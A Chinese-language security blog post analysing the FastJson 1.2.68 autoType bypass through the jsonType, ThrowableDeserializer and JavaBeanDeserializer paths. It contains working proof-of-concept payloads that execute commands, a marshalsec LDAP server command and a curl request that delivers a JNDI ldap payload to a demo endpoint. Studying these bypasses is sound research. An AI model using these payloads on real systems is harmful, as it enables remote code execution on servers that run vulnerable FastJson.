FastJson 反序列化研究笔记(二)

FastJson 反序列化研究笔记(二)

前言

在前一篇 FastJson 研究笔记(https://www.cnblogs.com/R4v3n/p/23411106 )中,我们最终通过 mappings 缓存恶意类绕过 autoType 从而达到代码执行。而在后续版本中这个方法被进行了修复,而在 1.2.68 版本中又出现了新的绕过方式,本篇将会着重于 1.2.68 版本的绕过分析。

1.2.68 版本绕过

和 1.2.47 对比

首先回顾一下 1.2.47 版本的 payload:

  String payload =
          "{\"1\":{" +
          "\"@type\":\"java.lang.Class\"," +
          "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
          "\"2\":{" +
          "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
          "\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
          "\"autoCommit\":true" +
      "}}";

首先还是以 1.2.47 版本的 FastJson 进行调试。按照前一篇的分析,在调用链中,MiscCodec#deserialze 方法里面调用了 loadClass 方法:

因为 cache 变量为 true,因此在分支判断中,mappings 执行分支缓存了 com.sun.rowset.JdbcRowSetImpl,使得加载第二个键的时候绕过了 checkAutoType 的检查,从而从缓存中加载了类,最后达成了代码执行。

那么现在将版本修改为 1.2.68,重新进行调试:

可以看到,在这里 cache 被设置成了 false,因此无法走到下面的 mappings 缓存分支。(当然,在 1.2.48 版本 cache 就已经修改为 false 了,并非 1.2.68 版本才修复)

1.2.68 版本分析

在第一篇分析中,我们了解到 FastJson 使用 checkAutoType 方法来对给定的输入进行检测,那么自然在 1.2.68 版本中,我们同样查看该版本的 checkAutoType 方法,看做了什么改动:

可以看到引入了 safeMode 的布尔型变量,只要开启了 safeMode,那么将会直接抛出异常,因而只有在 safeMode 关闭的情况下我们才能实现攻击(默认情况下,safeMode 是关闭的)。

在该版本中增加了更多了黑名单判断,前一篇文章的 payload 将会不起作用(第一篇笔记中使用的 com.sun.rowset.JdbcRowSetImpl 被彻底禁止了),如果想要进行攻击,那么必须得对 checkAutoType 方法进行更加细致的研究,找到能够返回我们需要的类的方法。

我们继续检查 checkAutoType 方法,观察到如下的代码:

只要 autoTypeSupport、jsonType、expectClassFlag 任意一个值为 true,那么就可以执行 TypeUtils.loadClass,从而得到我们想要构造的类。这个类需要在 TypeUtils 的 mappings 内:在 1.2.47 版本的反序列化漏洞中,是利用 loadClass 方法往 mappings 增加我们需要的类;而在 1.2.68 中,我们需要从 mappings 缓存里找到合适的 deserializer,使其反序列化过程中调用 expectClass 为 true 的 checkAutoType 方法,从而实现加载。

放行条件的分析

三个条件里,autoTypeSupport 我们假定它是默认关闭的,因此不对它展开;下面分别看 jsonType 和 expectClassFlag 是怎么被打开的。

jsonType 的分析

我们检查 jsonType 是如何设置的:

  boolean jsonType = false;
  InputStream is = null;

  try {
      String resource = typeName.replace('.', '/') + ".class";
      if (this.defaultClassLoader != null) {
          is = this.defaultClassLoader.getResourceAsStream(resource);
      } else {
          is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
      }

      if (is != null) {
          ClassReader classReader = new ClassReader(is, true);
          TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
          classReader.accept(visitor);
          jsonType = visitor.hasJsonType();
      }
  } catch (Exception var28) {
  } finally {
      IOUtils.close(is);
  }

jsonType 由 visitor 决定:

  public boolean hasJsonType() {
      return this.jsonType;
  }

而 visitor 的构造方法为:

  public TypeCollector(String methodName, Class<?>[] parameterTypes) {
      this.methodName = methodName;
      this.parameterTypes = parameterTypes;
      this.collector = null;
  }

并没有设置,那么我们只能看 classReader.accept(visitor); 这条语句是否存在设置 jsonType 的地方:

这部分代码做的事情,就是直接读 .class 文件的原始字节,然后判断这个类上是否带有 @JSONType 注解。据此可以构造如下 PoC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONType;

import java.io.IOException;

@JSONType
public class Demo5 {
    public Demo5() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\": \"Demo5\",\n" +
                " }";

        JSON.parseObject(payload);
    }
}

jsonType 的值为 true,进入了 loadClass 分支,最终弹出了计算器:

expectClassFlag 的分析

在 checkAutoType 方法中,expectClassFlag 相关的代码如下:

  if (safeMode) {
      throw new JSONException("safeMode not support autoType : " + typeName);
  } else if (typeName.length() < 192 && typeName.length() >= 3) {
      boolean expectClassFlag;
      if (expectClass == null) {
          expectClassFlag = false;
      } else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
          expectClassFlag = true;
      } else {
          expectClassFlag = false;
      }

也就是说,在这里我们需要找到一个调用 checkAutoType 方法、使传入的 expectClass 值不为 null 的调用链,也就是前面说的,我们需要找到一个合适的 deserializer。

而确实存在可用的 deserializer,它们分别为 ThrowableDeserializer 和 JavaBeanDeserializer。

ThrowableDeserializer 的分析

我们检查 ThrowableDeserializer 类的 deserialze 方法:

其调用的 checkAutoType 方法传入的 expectClass 为 Throwable.class,满足我们的需求。

随后将在 createException 方法中创建实例:

最后,我们需要找到 mappings 里面满足条件的类:

private static void addBaseClassMappings() {
        mappings.put("byte", Byte.TYPE);
        mappings.put("short", Short.TYPE);
        mappings.put("int", Integer.TYPE);
        mappings.put("long", Long.TYPE);
        mappings.put("float", Float.TYPE);
        mappings.put("double", Double.TYPE);
        mappings.put("boolean", Boolean.TYPE);
        mappings.put("char", Character.TYPE);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, ArrayList.class, TimeUnit.class, ConcurrentHashMap.class, AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), Boolean.class, Character.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, Number.class, String.class, BigDecimal.class, BigInteger.class, BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class, JSONPObject.class, JSONArray.class};
        Class[] var1 = classes;
        int var2 = classes.length;

        for(int var3 = 0; var3 < var2; ++var3) {
            Class clazz = var1[var3];
            if (clazz != null) {
                mappings.put(clazz.getName(), clazz);
            }
        }

    }

Exception 类继承了 Throwable,满足条件,我们编写如下 PoC:

import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class Demo6 extends Exception {
    public Demo6() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"java.lang.Exception\",\n" +
                "\"@type\": \"Demo6\",\n" +
                " }";

        JSON.parseObject(payload);
    }
}

运行,弹出计算器。

JavaBeanDeserializer 的分析

JavaBeanDeserializer 的分析大致和上文的 ThrowableDeserializer 一致,这里采用的是 AutoCloseable 类:

编写如下 PoC:

import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class Demo7 implements AutoCloseable {
    public Demo7(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }

    public void close(){
    }

    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"java.lang.AutoCloseable\",\n" +
                "\"@type\": \"Demo7\",\n" +
                "\"cmd\": \"calc\"" +
                " }";

        JSON.parseObject(payload);
    }
}

运行即可弹出计算器。

一个简单的实例

为了模拟实际的情况,这里以一个简单的 demo 为例(https://github.com/Oramkz/fastjson-1.2.68-vuln-demo ,适用 JDK 版本为 8)。这个 demo 包含一个实现了 AutoCloseable 接口的 SafeUrlChecker 类,它的构造器接收一个 URL 字符串并调用 InitialContext.lookup() 检查可达性;同时暴露一个 POST 接口,把请求体交给 JSON.parse() 解析。

其关键的代码如下:

public class SafeUrlChecker implements AutoCloseable {

    private final String url;

    public SafeUrlChecker(String url) {
        this.url = url;
        System.out.println("[SafeUrlChecker] " + url);
        try {
            Context ctx = new InitialContext();
            Object object = ctx.lookup(url);
        } catch (Exception e) {
            System.out.println("[SafeUrlChecker] " + e.getClass().getName() + ": " + e.getMessage());
        }
    }

    @Override
    public void close() {
    }
}

攻击者在 8000 端口下部署一个 http 服务器,其中包含一个 Exploit.class 的文件:

python -m http.server

同时利用 marshalsec 开放 ldap 服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

最后使用 curl:

curl -X POST 'http://127.0.0.1:8080/api/url/check' \
  -H 'Content-Type: application/json' \
  -d '{"@type":"java.lang.AutoCloseable","@type":"com.example.vulndemo.service.SafeUrlChecker","url":"ldap://127.0.0.1:1389/Exploit"}'

即可观察到命令被执行。

值得注意的是,这个 demo 需要同时满足两个条件才能实现代码执行:一是 fastjson 版本合适,二是服务器代码里存在一个能被这条链选中的类。真实框架下的触发可能更加复杂,参考资料里给出了不少其他触发链的分析,这里就不再赘述。

这个例子也说明了 1.2.68 之后利用门槛的变化:不再是"带个 @type 指向 JDK 自带类"就能实现代码执行,而是要求目标项目里真的存在这样一个"看起来正常、实际会走到危险操作"的类。

参考资料

https://y4er.com/posts/fastjson-bypass-autotype-1268/#分析

https://blog.ninefiger.top/2022/11/11/fastjson 1.2.68漏洞分析/

https://www.cnblogs.com/LINGX5/p/18797812

posted @ 2026-10-28 10:33  R4v3n  阅读(13)  评论(0)    收藏  举报